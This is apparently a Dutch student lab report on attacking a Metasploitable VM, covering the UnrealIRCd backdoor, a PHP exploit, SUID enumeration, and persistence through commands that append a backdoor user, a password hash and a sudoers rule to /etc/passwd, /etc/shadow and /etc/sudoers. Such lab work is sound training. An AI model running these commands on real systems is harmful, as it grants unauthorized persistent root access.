Cyber practicum 2

2.1 Exploit van de IRC-service

```
nmap -sV -script irc-unrealircd-backdoor -p 6667 10.0.2.5
```

> UnrealIRCd

> exploit/unix/irc/unreal_ircd_3281_backdoor

> Hieruit is te zien dat we in de Metasploitable CLI zitten omdat het ip van deze vm 10.0.2.5/24 is

```
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:57:26:23 brd ff:ff:ff:ff:ff:ff
    inet 10.0.2.5/24 brd 10.0.2.255 scope global eth0
    inet6 fe80::a00:27ff:fe57:2623/64 scope link
       valid_lft forever preferred_lft forever
id
uid=0(root) gid=0(root)
```

In de sudoers-file staat:

```
# /etc/sudoers
#
# This file MUST be edited with the 'visudo' command as root.
#
# See the man page for details on how to write a sudoers file.
#

Defaults        env_reset

# Uncomment to allow members of group sudo to not need a password
# %sudo ALL=NOPASSWD: ALL

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root    ALL=(ALL) ALL

# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL
```

> Sudo rechten zijn de admin rechten dit zorgt ervoor dat je alle commands kan gebruiken en kritieke bestanden kan aanpassen

> De root user heeft sudo rechten

```
usermod -a -G admin student
```

Dit commando zorgt ervoor dat de student ook sudo rechten krijgt

> Zelfs na een restart blijven de sudo rechten voor het "student" account

- Output na het gebruiken van de whoami command

```
root@metasploitable:/home/student# whoami
root
```

2.2 Exploit php

```
80/tcp   open  http
| http-php-version: Versions from logo query (less accurate): 5.1.3 - 5.1.6, 5.2.0 - 5.2.17
| Versions from credits query (more accurate): 5.2.3 - 5.2.5, 5.2.6RC3
|_Version from header x-powered-by: PHP/5.2.4-2ubuntu5.10
```

PHP versies:

- 5.1.3 - 5.1.6
- 5.2.0 - 5.2.17
- 5.2.3-5.2.5
- 5.2.6 RC 3
- 5.2.4-ubuntu 5.10
  Zijn gevonden

```
msf6 > search php
```

> Leidt tot heel veel resultaten, dit is niet te overzien en je hebt er daarom ook geen gebruik aan

```
msf6 > search http php Check:yes Rank:excellent Date:2012
```

> Leidt tot minder resultaten, maar de resultaten die we krijgen zijn goed omdat de rank excellent aangeeft dat de exploit goed te gebruiken is.

> Ik ben nu de user www-data , dit is omdat ik via de http een CLI gebruik

> Ik kan nu minder omdat ik geen sudo rechten heb

```
find / -perm -u=s 2>/dev/null
```

> Met dit comando vind je alle gebruikersbestanden

```
/bin/umount
/bin/fusermount
/bin/su
/bin/mount
/bin/ping
/bin/ping6
/sbin/mount.nfs
/lib/dhcp3-client/call-dhclient-script
/usr/bin/sudoedit
/usr/bin/X
/usr/bin/netkit-rsh
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/sudo
/usr/bin/netkit-rlogin
/usr/bin/arping
/usr/bin/at
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/nmap
/usr/bin/chsh
/usr/bin/netkit-rcp
/usr/bin/passwd
/usr/bin/mtr
/usr/sbin/uuidd
/usr/sbin/pppd
/usr/lib/telnetlogin
/usr/lib/apache2/suexec
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/pt_chown
```

> We hebben al eerder nmap gebruikt

Ik heb nu www-data en root rechten

```
/bin/echo 'student:x:1004:1004:,,,:/home/student:/bin/bash' >> /etc/passwd
/bin/echo 'student:$1$XB/PW7UV$QiAoDdAS2zUzy3JsMOxRb1:19371:0:99999:7:::' >> /etc/shadow
/bin/echo 'student ALL=(ALL) ALL' >> /etc/sudoers
```

Met deze commandos hebben we nieuwe gebruikersbestanden aangemaakt voor een gebruiker genaamd student

Door een account te maken op dezelfde machine en dan te kijken wat voor hash er uitkomt